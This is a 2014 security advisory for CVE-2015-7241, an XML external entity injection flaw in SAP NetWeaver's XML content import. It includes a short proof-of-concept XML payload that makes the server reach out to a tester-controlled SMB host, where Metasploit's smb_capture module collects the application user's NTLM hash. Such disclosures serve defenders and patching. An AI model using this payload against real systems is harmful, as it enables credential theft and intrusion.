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SAP Netweaver XML External Entity Injection

SAP Netweaver XML External Entity Injection
Posted Sep 21, 2015
Authored by Lukasz Miedzinski

SAP Netweaver versions prior to 7.01 suffer from an XXE injection vulnerability.

tags | exploit, xxe
advisories | CVE-2015-7241
MD5 | d444e2bcca3d307d4a56fd9e1a5ed178

SAP Netweaver XML External Entity Injection

Change Mirror Download
Title: SAP Netwaver - XML External Entity Injection
Author: Lukasz Miedzinski
GPG: Public key provided in attachment
Date: 29/10/2014
CVE: CVE-2015-7241

Affected software :
===================

SAP Netwear : <7.01

Vendor advisories (only for customers):
===================
External ID : 851975 2014
Title: XML External Entity vulnerability in SAP XML Parser
Security Note: 2098608
Advisory Plan Date: 12/5/2014
Delivery date of fix/Patch Day: 10/2/2014
CVSS Base Score: 5.5
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P


Description :
=============
XML External Entity Injection vulnerability has been found in the XML
parser in the System

Administration->XML Content and Actions -> Import section.


Vulnerabilities :
*****************

XML External Entity Injection :
======================


Example show how pentester is able to get NTLM hash of application's user.

Content of file (PoC) :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>
<root/>

When pentester has metasploit smb_capture module run, then application
will contatc him and provide

NTLM hash of user.


Contact :
=========

Lukasz[dot]Miedzinski[at]gmail[dot]com
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